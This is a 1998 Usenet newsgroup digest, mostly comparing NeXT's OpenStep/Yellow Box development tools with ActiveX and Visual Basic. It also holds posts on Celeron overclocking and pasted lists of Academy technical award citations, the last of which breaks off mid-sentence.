From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 16:33:35 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74ebkv$pkq$2@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com>
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In article <19981206074258.00943.00000641@ng-bw1.aol.com> WillAdams,
willadams@aol.com writes:
>
>Why don't you enlighten yourself by reading the above reference? Or was this
>simply a troll?
>
>There are also a lot of articles on programming with IB and Objective-C
>available at <www.stepwise.com>
I have kept abreast of the stepwise site and read most of the articles
there. I'll look at the gnustep site as well.
MC
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 16:55:06 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74ecta$l32$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com>
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First off Nathan, thanks for answering my questions in such a useful
manner. Some of the other participants in the thread left something to
be desired in their responses.
In article <74e7oj$m7c$1@crib.corepower.com> Nathan Urban,
nurban@crib.corepower.com writes:
>That sort of thing is possible to do, and in an easier way than developing
>ActiveX IMHO (though I'm not expert at ActiveX development), using the
>Yellow Box (OpenStep) technology obtained from NeXT. The languages
>natively supported are OOP languages, Objective-C and Java to be exact.
>
>(Any Linux users reading this might want to read further to see the
>kind of functionality that GNUstep is intended to offer. Most of the
>capabilities, especially all of the transparency and ease-of-use, are
>due to the dynamic object runtimes present in the supported languages,
>which GNUstep fully leverages.)
Hmmn. VB uses the C++ compiler technology, so I suspect that it doesn't
present the same kind of dynamic runtime.
>
>For reuse of binary software components, there are "bundles". These are
>directories that can contain fragments of executable code and related
>non-executable resources (images, configuration files, etc). When an app
>loads a bundle, the code contained within it _becomes_ part of the app,
>completely seamlessly, as if it had been part of the original program --
>they're nothing "external" about externally-loaded code. This makes
>using bundles easy to use.
This is similar to the functionality of ActiveX.
>
>For distributed/remote interprocess communication, Portable Distributed
>Objects is used. This is a distributed objects technology like CORBA
>or what ActiveX can do, except it's much easier to use. If you want
>to access a remote object running in another thread, application, or
>application on another host, you simply have the remote object register
>itself by name and then ask for it by name, and then you can use it
>as if that object were part of your own app.
>
>With other solutions, you have to mess around with generating skeletons
>and stubs and other forms of code generating, rerunning the generator
>when you update the interface to be exported, etc. Not so with PDO; the
>runtime message dispatch systems of Objective-C and Java (which C++ lacks)
>allow for completely transparent forwarding proxies to be constructed.
>All you need is the header for the class of the object you're interfacing
>with so the compiler doesn't give you warnings about unknown method names
>-- but they're _warnings_, and you can even do without the header files
>if you know what the methods are called.
I see the advantage for YB here.
>
>Then, for developers there is also Interface Builder. This is a RAD
>GUI builder. You simply drag icons (such as textboxes or video playback
>views) off of "palettes" of objects and drop them into your interface;
>if they're non-GUI objects (like database access controls, as are found
>in Apple's Enterprise Objects Framework), you can drop them into an
>appropriate area. You can directly customize the properties of the
>objects by moving and resizing them, inspecting their properties, etc.
>You can of course create new objects to be placed on palettes and
>distribute your palettes to other developers.
>
>You then drag connections between objects (be they GUI or non-GUI)
>to establish messages that should be sent to each other upon certain
>actions. You can actually do a fair deal of "programming" just by hooking
>connections up to each other if your objects are rich enough.
Some of the ActiveX objects can be connected in the IDE, while others
require a bit of code. But if YB objects are generally connectable
without code, I give the advantage to YB.
>
>Unlike some other GUI builders (like Visual C++ Developer Studio's
>miserable excuse for a GUI builder), Interface Builder does not
>generate code to create the interfaces you design; instead, it serializes
>representations of all of the objects and their interconnections to a flat
>file (called a NIB) from which they can be reconstructed, assuming that
>all the binary code associated with their classes has been loaded into
>the app (either by having the classes linked into the app at compile time,
>or by adding new ones where necessary via runtime loading of bundles).
The VB GUI builder doesn't seem to have the limitations of the VC++ one.
>
>I've heard of developers who have actually had _users_ sit down with a
>copy of Interface Builder and some custom palettes and tweak the interface
>to their desired specification. It's that easy to use. The resulting
>NIB file is then plopped back into the application and the new interface
>takes effect the next time it's launched, without having to generate
>or recompile any code at all (assuming they didn't add new objects of
>classes that don't already exist in the application or its bundles).
Advantage YB here. You cannot retune an application interface after
compilation.
>I've actually used Interface Builder to correct the spelling in the UIs
>of some quick-and-dirty public domain apps I've downloaded off the net,
>to which the source was not available.
>
>If you don't like Objective-C or Java, then you can buy TipTop's
>Objective-Everything, which lets you use Perl, TCL, or Python.
>(Dynamic OOP runtimes to the rescue again; the runtimes of the respective
>programming languages are integrated almost seamlessly so that an object
>in one language can be treated as an object in another, without any work
>on your part.) You will be programming in an OOP style, though.
That is really cool, you can really integrate all these languages in an
object-full manner?
>
>A new feature under development is AppleScript integration; someone who
>develops a new object in one of the above languages can design and export
>an AppleScript interface dictionary, so an AppleScript author can just
>say something like `tell application "MoviePlayer" to play "foo.avi"',
>and it will automatically establish a distributed objects connection
>to the MoviePlayer application (launching the app if necessary), query
>it to see if it implements the "play" action, and if so, execute it,
>which can get forwarded to a custom movie-playing object.
I hear a lot about the advantages of Applescript, and have done a bit of
AS work myself. I am not sure why it is a lot better than MS ActiveX
remote object controls, perhaps someone can show me.
>
>You can also write whole little applications called "Services"
>which export functionality to other applications in a high-level way.
>For example, in a Compose window of a mail or news app, you can highlight
>some text, go to the app's Services menu (this menu is present in
>all Yellow Box applications), find the "Indent text" or "Quote text"
>services exported by other applications, choose one, and then have
>all of the selected text be replaced by an indented or quoted version.
>There's a great application called "TickleServices" that lets you write
>new services in TCL.
Do all services show up in every service menu? Does this basically act
on the clipboard or selected text/graphics?
>
>You don't even have to replace it with the same kind of data; I've seen
>a service that will turn a TeX expression in an RTF document into an
>embedded image representing that equation, or a service that will take
>highlighted EUC/JIS-encoded text, convert it to PostScript, and launch a
>PostScript viewer so you can read the Japanese characters, as a poor-man's
>substitute when your mail/news program can't render such things natively.
Sounds useful.
>
>You can even write "filter services" that extend the data types your
>application can work with; if you have an application that can render
>.gif's but not .jpeg's, someone can write a filter service that will
>automatically get invoked if the app tries to read a .jpeg, and convert
>it realtime into a .gif without the app even knowing.
Sounds very useful. Microsoft doesn't even offer any controls with the
ability to open the most common graphic types, like Quicktime can for
example.
>
>> I believe that Java is using Javabeans and the like for this
>> kind of functionality.
>
>Java will of course be fully integrable with Yellow Box; you can drop
>a Bean into an app using Interface Builder and have it Just Work.
Wow.
>
>> I am also wondering if there is any movement
>> towards this sort of component architecture forthcoming in the Opensource
>> world.
>
>GNUstep is an open-source implementation of OpenStep. I'm sure there
>are other projects under development or in design.
Sounds like Gnustep is a great idea.
>
>> Given the typical disdain for
>> which much of the historical opensource movement holds for GUI/RAD
>> development tools,
>
>Actually, I think there's a large latent demand for that sort of thing
>among many OSS developers, especially a RAD GUI creator at the IB-level
>(such one that doesn't require code generation). I know I'd love to
>see this sort of thing available on Linux in GNUstep.
Yeah, I think there is a huge demand there too.
Matthew Cromer
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <heaney-0612981217220001@24.0.246.137>
References: <749sn9$4m6$1@nnrp1.dejanews.com> <B28EF5FE-25285@206.165.43.151> <74e6nc$fub$1@nnrp1.dejanews.com>
Organization: Solid Object Software
Date: Sun, 06 Dec 1998 17:05:25 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 09:05:25 PDT
In article <74e6nc$fub$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
> You've been yammering on about how wonderful GX is because it supports
> "pseudo"-3D text for almost two years now -- polluting this newsgroup to the
> extent that a number of people have left solely because of the detritus from
> your posts (yes I have heard directly from several people who have said
> this).
If you feel these threads "pollute" this newsgroup then you should stop
contibuting to them. This thread is not a monologue by Lawson. All it
takes is for you (all) to let him have the last word and the thread will
end. It is quite clear that arguing with him will not cause him to stop,
if that is your goal.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 17:10:58 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74edr2$of0$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com>
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In article <74e7v2$m8b$1@crib.corepower.com> Nathan Urban,
nurban@crib.corepower.com writes:
>> When you need to develop an application in three months that features 20+
>> feature-full dialog boxes, with over 1000 controls, reads and write files
>> locally and remotely via local fs, SMB, and FTP protocols, and has a
>> professional-quality interface, what do you use? Assembler?
>
>Why, OpenStep and Objective-C, of course.
Can you deploy today on Windows with no per-workstation license?
Certainly not VB.
VB is working fine so far. And there is no runtime fee.
I am not averse to learning a better tool, but YB development is not
possible for many purposes until Apple fixes the runtime issue.
Ideally we will have an opensource solution which touches all the
important platforms, not just Windows and Mac.
The entire
>NeXT development environment was designed for RAD and mission-critical
>custom applications.
Yeah, I know.
MC
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 19:22:23 +0100
Organization: Completely Disorganized
Message-ID: <1djmpjc.2ojt7n1qcrdquN@port161.bonn.ndh.net>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <366a1773.0@news.cgocable.net> <74da1c$7vo$1@camel21.mindspring.com> <74e7v2$m8b$1@crib.corepower.com> <74ecta$l32$1@samsara0.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 18:22:26 GMT
Mail-Copies-To: never
User-Agent: MacSOUP/D-2.4b4
Matthew Cromer <matthew_cromer@iname.com> wrote:
> I hear a lot about the advantages of Applescript, and have done a bit of
> AS work myself. I am not sure why it is a lot better than MS ActiveX
> remote object controls, perhaps someone can show me.
I don't know about MS Active X, but here's my take on AppleScript.
AS has a consistent object model, the AEOM, that -- in the best of all
possible worlds -- all applications follow. AS-savvy Applications
usually support a comparatively small number of generic commands, where
they differ is the objects they show the scripter.
Another cool thing about AS is that it is *not* embedded in the apps
that use it. At first it might sound curious to call this an advantage,
but, well, it is. You're not limited to AS, but rather you can use any
language that conforms to the Open Scripting Architecture (OSA). In fact
there are Userland Frontier and QuicKeys that can be used as
alternatives to AS. (Of course, you can also access AEOM objects from
other applications written in, say, C.) Another advantage of not
embedding the language engine into apps is that one can write
free-standing scripts that control a bunch of apps and pass data around
among them. Still, it is possible to embed scripts in apps and have them
triggered by high-level events.
The premier example of embedding scripts is FaceSpan, basically a
bare-bones applications skeleton that gets its functionality from
embedded scripts.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.schuerig.de/michael/
From: Pim van Riezen <pim@webcity.nl>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 19:25:49 +0200
Organization: XS4ALL, networking for the masses
Message-ID: <366ABE1D.7E248804@webcity.nl>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net> <slrn76kfuf.fv.davecook@sputnik.escnd1.sdca.home.com>
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David M. Cook wrote:
>
> On Sat, 05 Dec 1998 21:43:31 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>
> >Now this is rich. ActiveX is an intentional road block to portability,
>
> Intentional or not, it's massively non-portable.
>
> >unlike C++ or Assembler. Whatever.
>
> Netscape is written to be portable to many platforms using a carefully
> chosen C++ subset.
The netscape source is sort of a bad example of how to do cross-platform
though, even if I risk some flamebait there.
Take a look at FLTK as an example to use C++ in a lightweight, portable
way.
Cheers,
Pim
--
"I'm at the corner of Walk and Don't Walk, where shall we meet?"
Operations - SaltLake.UT.US.Undernet.Org
Channel LART - #linux Undernet
Programmer sometimes LART - Microhill Automation
Cat5 Monkey - Webcity / Internet Facilities Europe
Eerie-eyed Visionair Software Developer - StealthTech Networking
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 13:40:40 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74ej38$mk5$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com> <74ecta$l32$1@samsara0.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 18:41:58 GMT
In article <74ecta$l32$1@samsara0.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74e7oj$m7c$1@crib.corepower.com> Nathan Urban,
> nurban@crib.corepower.com writes:
> >(Any Linux users reading this might want to read further to see the
> >kind of functionality that GNUstep is intended to offer. Most of the
> >capabilities, especially all of the transparency and ease-of-use, are
> >due to the dynamic object runtimes present in the supported languages,
> >which GNUstep fully leverages.)
> Hmmn. VB uses the C++ compiler technology, so I suspect that it doesn't
> present the same kind of dynamic runtime.
I'm not sure. It might have a dynamic runtime model. Do VB objects
get mapped directly onto C++ implementations or translated into C++
which is then compiled, or does it have its own object system?
> >For reuse of binary software components, there are "bundles". These are
> >directories that can contain fragments of executable code and related
> >non-executable resources (images, configuration files, etc). When an app
> >loads a bundle, the code contained within it _becomes_ part of the app,
> >completely seamlessly, as if it had been part of the original program --
> >they're nothing "external" about externally-loaded code. This makes
> >using bundles easy to use.
> This is similar to the functionality of ActiveX.
I seem to recall that there are limitations on ActiveX or DLLs in general
that don't make it quite as flexible as bundles, but I don't remember
the technical details. Someone on comp.sys.next.programmer may have
more of an idea. The capabilities are similar though.
> >You then drag connections between objects (be they GUI or non-GUI)
> >to establish messages that should be sent to each other upon certain
> >actions. You can actually do a fair deal of "programming" just by hooking
> >connections up to each other if your objects are rich enough.
> Some of the ActiveX objects can be connected in the IDE, while others
> require a bit of code. But if YB objects are generally connectable
> without code, I give the advantage to YB.
It depends on how the objects are written and what they do.
The connection model is limited to "send a message to the destination
object, with such-and-such graphical object to be passed as a parameter".
Obviously, you can't do everything within this kind of scheme, but you
can certainly set up a lot of event-driven stuff, like "this menu item
should trigger this internal operation". Probably ActiveX can do about
the same kind of thing, but not being familiar with it I can't tell you
how pervasive YB connections are compared to ActiveX.
I also forgot to mention the extensive use of delegation within the API.
Most objects can have "delegates" which you can set dynamically in
Interface Builder. An object's delegate optionally implements some
functionality that the object does not natively implement; the object
checks its delegate to see if you have implemented a particular method
(again, an advantage of a dynamic runtime) and if you have, it calls it;
if you haven't, it won't try. You thus don't have to make it aware of
what methods you do and don't implement; you just implement the ones
you need. This greatly facilitates code reuse if you build a stock of
useful delegates.
As an example, suppose you have some sort of table object, and you want
it to behave so that if you click on one of its columns, it will sort by
column. (Most table objects probably implement that anyway, but it's an
example.) You can construct a "TableSorting" delegate which you can
stick on an IB palette. Then, in any application that you want to have
this functionality, you just drag out a TableSorting instance and wire
it up to the table's delegate slot graphically. Instant sorting
functionality.
Now, you could alternatively have subclassed the table class to get
a SortedTable and put _that_ onto a palette, which you would then use
instead of a TableSorting delegate, but that's not as powerful. Suppose
you wanted a different kind of table, say a PrettyTable, that renders
itself in a different way. You would want to subclass the table class
to get a PrettyTable. Then suppose you want a table that's pretty _and_
sorted. You're stuck -- you have a PrettyTable subclass and a SortedTable
subclass, but you can't combine them into a PrettySortedTable subclass.
However, with delegation you could just make the PrettyTable subclass and
used SortedTable as its delegate and get both. You use subclassing to
change the basic presentation of the class, and delegation to customize
its behavior in an application-specific way.
This is just one example of the power of the OpenStep APIs -- they are
designed pervasively with OOP and reuse in mind.
> >Unlike some other GUI builders (like Visual C++ Developer Studio's
> >miserable excuse for a GUI builder), Interface Builder does not
> >generate code to create the interfaces you design; instead, it serializes
> >representations of all of the objects and their interconnections to a flat
> >file (called a NIB) from which they can be reconstructed, assuming that
> >all the binary code associated with their classes has been loaded into
> >the app (either by having the classes linked into the app at compile time,
> >or by adding new ones where necessary via runtime loading of bundles).
> The VB GUI builder doesn't seem to have the limitations of the VC++ one.
Hmm, when you create an interface in VB, what is the output? Is it binary
code that reconstructs the interface, or is it some sort of resource
file that is read at runtime? Your comments below about how you can't
change the interface without recompiling suggest that it's binary code
or perhaps a mixture of binary and resources, not just plain resources.
> >If you don't like Objective-C or Java, then you can buy TipTop's
> >Objective-Everything, which lets you use Perl, TCL, or Python.
> >(Dynamic OOP runtimes to the rescue again; the runtimes of the respective
> >programming languages are integrated almost seamlessly so that an object
> >in one language can be treated as an object in another, without any work
> >on your part.) You will be programming in an OOP style, though.
> That is really cool, you can really integrate all these languages in an
> object-full manner?
Yes, that's one of the best parts. Like so many things in OpenStep,
it comes from the dynamic runtime. In a language such as C++, method
calls either get compiled down to function calls, or lookups in a
virtual method dispatch table in the case of virtual methods. (i.e.,
"look up the fifth method pointer in this table and execute it). In a
dynamic runtime, methods are looked up _by name_ in a table. So if you
send a "plot" message to what you think is an Objective-C object, you
can intercept that call and use the string "plot" to look up the method
of that name in the runtime for a _different_ language and execute that.
In a language like C++, just knowing that you're supposed to be
executing "the fifth message in this table" is not enough to figure out
what you're supposed to do for an object in another language.
Now, obviously, there is some slowdown at the interface between runtimes
of different languages. However, this dynamic lookup of methods
within one language isn't as slow as it sounds; with caching and other
optimizations, it's about the same speed as a virtual method call in C++.
> >A new feature under development is AppleScript integration; someone who
> >develops a new object in one of the above languages can design and export
> >an AppleScript interface dictionary, so an AppleScript author can just
> >say something like `tell application "MoviePlayer" to play "foo.avi"',
> >and it will automatically establish a distributed objects connection
> >to the MoviePlayer application (launching the app if necessary), query
> >it to see if it implements the "play" action, and if so, execute it,
> >which can get forwarded to a custom movie-playing object.
> I hear a lot about the advantages of Applescript, and have done a bit of
> AS work myself. I am not sure why it is a lot better than MS ActiveX
> remote object controls, perhaps someone can show me.
I'm not too familiar with ActiveX's remote object controls. The main
advantage, I would guess, is that AppleScript is very easy to use; you
don't really have to be a developer to develop simple AppleScripts. Also,
AppleScripts are recordable, so you can perform a bunch of GUI actions
without any programming at all and record them for future playback.
I've only done a teeny bit of AppleScript myself, so others can probably
tell you much more about its advantages, especially when coupled with
YB (I was very impressed by the new YB<->AS integration capabilities,
but I'm sure I don't even fully appreciate them).
> >You can also write whole little applications called "Services"
> >which export functionality to other applications in a high-level way.
> >For example, in a Compose window of a mail or news app, you can highlight
> >some text, go to the app's Services menu (this menu is present in
> >all Yellow Box applications), find the "Indent text" or "Quote text"
> >services exported by other applications, choose one, and then have
> >all of the selected text be replaced by an indented or quoted version.
> >There's a great application called "TickleServices" that lets you write
> >new services in TCL.
> Do all services show up in every service menu?
By default, yes. They can place themselves in sublevels one level deep,
though, for easier organization (though you cannot determine the menu
structure yourself; it depends on what the service author named it).
You can also use the preferences system to turn off the display of
Services you never use.
> Does this basically act on the clipboard or selected text/graphics?
It generally operates on the current selection, though if you have nothing
selected you can use it to invoke some operation that doesn't take input.
The two services I use the most are "Define in Webster" and "Open URL".
All I have to do is highlight a word or a URL in _any_ text field in
_any_ YB application, and then choose one of those services (for which
keyboard shortcuts are user-definable), and I can either look that word
up in a dictionary/thesaurus, or open that URL in a web browser -- with a
single keystroke! You have no idea how much of a timesaver that can be;
I use those two services _constantly_. It sure beats selecting text,
copying it, switching to another app (or worse, locating and launching
it), pasting it, and then clicking a button.
> >> I believe that Java is using Javabeans and the like for this
> >> kind of functionality.
> >Java will of course be fully integrable with Yellow Box; you can drop
> >a Bean into an app using Interface Builder and have it Just Work.
> Wow.
Fortunately, Java uses a dynamic runtime like Objective-C does (Java's
object model was actually inspired in many respects by Objective-C),
so this sort of thing is possible.
For an example of what you can do with YB, you might want to read more
about WebObjects, such as:
http://www.stepwise.com/Articles/Business/WOFSeminar.html
In case you're unfamiliar with WebObjects, it's a RAD environment for web
pages; it uses Interface Builder technology to graphically construct web
pages, embed scripting, business logic and relational database queries,
etc. It's the convergence of all of NeXT's OOP technologies -- OpenStep,
Enterprise Objects Framework, Java integration, and web technology.
Message-ID: <366AD0B4.2B75C23F@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com> <SCOTT.98Dec5033208@slave.doubleu.com> <74e89u$f8r@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 06 Dec 1998 18:43:34 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 10:43:34 PDT
Sal Denaro wrote:
>
> On 5 Dec 98 03:32:08, Scott Hess ?scott@nospam.doubleu.com? wrote:
> ?In article ?19981204194733.01052.00000101@ng-bw1.aol.com?,
> ? willadams@aol.com (WillAdams) writes:
> ? Well, my vote would be for a high-end PC clone running OPENSTEP.
> ?
> ?Or just a moderate-end PC clone:
> ?
> ? $130 Celeron 333A (the one with 128K cache!)
>
> WOW! $130! How does it compare to a real PII 333?
Actually, its right on par with the real PII. Intel sort of screwed up
in the sense that their budget celeron 333mhz with 128k of 1:1 (333mhz)
L2 cache runs about as well as a pentium II 333 with 512k of 2:1
(166mhz) L2 cache. The processor itself is basically the same apart from
the speed they access the cache.
The real kicker is that you can tape up one of the contacts on the edge,
plug it into a plain vanilla 100mhz BX motherboard, and run it stably at
450mhz (the $100 300 mhz celeron A at least, the celeron 333A should run
at 500mhz in this arrangement, but I haven't heard much about it).
If you want to get really crazy, you can follow a procedure that
requires a drill and some wire which makes the celerons smp-able. A dual
450mhz system for under $1000 is a beautiful thing, and it would eat
photoshop filters for lunch. No warranty though :)
Overall if you know how to tool around with hardware and look at the
prices of this stuff, its tough to look at a mac and say "yeah, I want
that." You can stuff up a PC with an incredible amount of (consumer &
gamer) hardware for $2500. But the sgi flatpanel is right out!
ari
arikounavis@home.com
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 6 Dec 1998 19:24:19 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74ell3$m73$3@cronkite.cs.umd.edu>
References: <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com> <36686F42.EE553D2A@ericsson.com> <F3Gusw.4vq@T-FCN.Net> <36688305.30BFE5F1@ericsson.com> <366A057D.9C54A305@ncal.verio.com> <366a1bb3.0@news.depaul.edu>
NNTP-Posting-Date: 6 Dec 1998 19:24:19 GMT
Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
> In comp.sys.next.advocacy Mike Paquette <mpaque@ncal.verio.com> wrote:
> > 3DKit was written by someone at NeXT, who just received a Technical
> > Oscar last year for an older 3D product from Alias Research that's been
> > heavily used by a number of studios. The author is currently one of my
> > partners in crime on my current project... Wheee!
> Heeheeheeheehee heehee hee
> <cue maniacally gleeful Renfieldian giggling>
Okay, now I'm trying to figure out who it was. Here's what I've got from
http://www.oscars.org/awards69th/69st.html and
http://www.oscars.org/awards70th/70st.html
==========================
SIXTY NINTH ACADEMY AWARDS
==========================
69th Annual Academy Awards
SCIENTIFIC AND TECHNICAL AWARDS
_
TECHNICAL ACHIEVEMENT AWARDS (Certificates)
To Perry Kivolowitz, for the primary design, and Dr. Garth A. Dickie for
the development of the algorithms for the shape-driven warping and
morphing subsystem of the Elastic Reality Special Effects System.
These components form the core of an efficient and easy-to-use system
which greatly simplifies the creation of shape-changing visual effects in
motion pictures.
To Ken Perlin for the development of Perlin Noise, a technique used to
produce natural appearing textures on computer generated surfaces for
motion picture visual effects.
The development of Perlin Noise has allowed computer graphics artists to
better represent the complexity of natural phenomena in visual effects for
the motion picture industry.
To Nestor Burtnyk and Marceli Wein of the National Research Council of
Canada for their pioneering work in the development of software techniques
for Computer Assisted Key Framing for Character Animation.
The pioneering work of Mr. Burtnyk and Dr. Wein demonstrated the first
significant use of the computer in two dimensional key-frame character
animation and influenced many subsequent developments in computer
animation techniques.
To Grant Loucks for the concept and specifications of the Mark V
Director's Viewfinder.
The Mark V has simplified the operation and extended the range of a
valuable tool used for previewing scenes covering a wide range of lens
focal lengths and film formats.
To Brian Knep, Craig Hayes, Rick Sayre and Thomas Williams for the
creation and development of the Direct Input Device.
The Direct Input Device is an encoded armature which allows stop-motion
animators to bring their skills and artistry directly into computer
animation.
To James Kajiya and Timothy Kay for their pioneering work in producing
computer generated fur and hair in motion pictures.
This pioneering work inspired the development of the computer-generated
fur and hair systems that are in use today.
To Jeffery Yost, Christian Rouet, David Benson and Florian Kainz for the
development of a system to create and control computer generated fur and
hair in motion pictures.
This system represents a significant advancement for controlling computer
generated short fur and long hair in a motion picture production
environment.
To Richard A. Prey and William N. Masten for the design and development of
the Nite Sun II lighting crane and camera platform.
The Nite Sun II is a mobile crane system for location lighting and camera
use. This unique, self-contained system with its platform, has the ability
to lift 1200 lbs. of personnel, lighting and camera equipment up to 124
feet above the ground.
_
SCIENTIFIC AND ENGINEERING AWARDS (Plaques)
To John Schlag, Brian Knep, Zoran Kacic-Alesic and Thomas Williams for the
development of the ViewPaint 3D Paint System for film production work.
View Paint is an interactive 3D paint system that allows artists to apply
color and texture details to computer generated effects.
To William Reeves for the original concept and the development of particle
systems used to create computer generated visual effects in motion
pictures.
The concept of particle systems inspired and continues to influence
further developments in the area of computer generated tornadoes, flames,
sparks, snow, clouds and other visual effects.
To Jim Hourihan for the primary design and development of the interactive
language-based control of particle systems as embodied in the Dynamation
software package.
Dynamation is used to create a wide variety of computer generated effects
such as tornadoes, flames, sparks, snow and clouds in motion pictures.
To Jonathan Erland and Kay Beving Erland for the development of the
Digital Series Traveling Matte Backing System used for composite
photography in motion pictures.
This system reduces both the time and expense of shooting and posting
composite photography. The spectral reflectance of the backing material,
paint formulation, and the spectral transmission of the fluorescent lamps
match the peak sensitivity of the recommended camera film.
_
ACADEMY AWARD OF MERIT (Oscar)
(Originally awarded a Scientific and Engineering Award [plaque] in 1985,
this is an "upgrade" award.)
To IMAX Corporation for the method of filming and exhibiting
high-fidelity, large-format, wide-angle motion pictures.
Integral to the process for presenting cinema programs in the IMAX or IMAX
Dome format is the rolling loop projector, developed from a film transport
mechanism originally invented by P.R.W. Jones. Improvements made on the
patent by the IMAX Corporation, and the development of other peripheral
equipment, made possible the high-speed, horizontal projection of 70mm
pictures, fifteen perforations per frame, onto screens of unusually large
proportions in theaters designed to specifications for optimum viewing of
those motion pictures. An exceptional sense of participation is
experienced by audiences when pictures, photographed to the requirements
of the process, are shown in IMAX or IMAX Dome theaters.
_
AWARD OF COMMENDATION (Perma-Plaque)
(Awarded to acknowledge special technical contributions to the motion
picture industry.)
Joe Lombardi
To Joe Lombardi in celebration of 50 years in the motion picture industry.
His knowledge and leadership in the field of pyrotechnics and special
effects along with his uncompromising promotion of safety on the set have
established the standard for today's special effects technicians.
_
JOHN A. BONNER MEDAL OF COMMENDATION] (Medallion)
(Awarded in appreciation for outstanding service and dedication in
upholding the high standards of the Academy of Motion Picture Arts and
Sciences.)
Volker W. Bahnemann
Burton "Bud" Stone
=========================
SEVENTIETH ACADEMY AWARDS
=========================
)
_
Scientific and Technical Achievement Awards
(Academy Certificates)
To Clark F. Crites for the design and development of the ELF 1-C Endless
Loop Film Transport and storage system.
With its ability to handle up to four hours of film, free from film
damage, and its compact size, the ELF 1-C has proven to be one of the most
reliable and useful devices to automate the projection of motion picture
film in a wide variety of film venues.
_
To Dan Leimeter and Bob Weitz for the development and implementation of a
Portable Adjustment Tool for T-Style Slit Lens Assemblies.
This tool provides a means of quickly and accurately setting the azimuth
and focal plane of the tubular style slit lenses in the optical soundheads
of a significant majority of theatrical 35mm motion picture projectors.
_
To Greg Hermanovic, Kim Davidson, Mark Elendt and Paul Breslin for the
development of the procedural modeling and animation components of the
Prisms software package.
Through a procedural building-block process, the Prisms 3D Animation
Software is used to simulate natural phenomena, and create particle
effects, complex three-dimensional models and motion for feature film
visual effects.
_
To Jim Keating, Michael Wahrman and Richard Hollander for their
contributions that led to the Wavefront Advanced Visualizer computer
graphics system.
The Wavefront System was the first commercial software package for
modeling, animating and rendering computer-generated elements and scenes
that was adopted into widespread use to create digital images with
sufficient quality for theatrical motion pictures.
_
To James M. Reilly, Douglas W. Nishimura and Monique C. Fisher of the
Rochester Institute of Technology for the creation of A-D Strips, a
diagnostic tool for the detection of the presence of vinegar syndrome in
processed acetate-based motion picture film.
A-D (Acid Detector) Strips provide a repeatable, quantitative, calibrated
check of the presence and extent of vinegar syndrome progression, a slow
form of chemical deterioration, in stored processed acetate-based film.
_
To Philip C. Cory for the design and development of the Special Effects
Spark Generator.
This non-pyrotechnical device provides a controllable, reliable, variable
and economical shower of sparks for motion picture special effects, while
improving safety on the set.
_
To Jim Frazier, for the concept, and Iain Neil and Rick Gelbard for the
design and development of the Panavision/Frazier Lens System for motion
picture photography.
This system provides a versatile, lightweight, deep-field and infinitely
pointable lens attachment for 35mm motion picture cameras. Through its
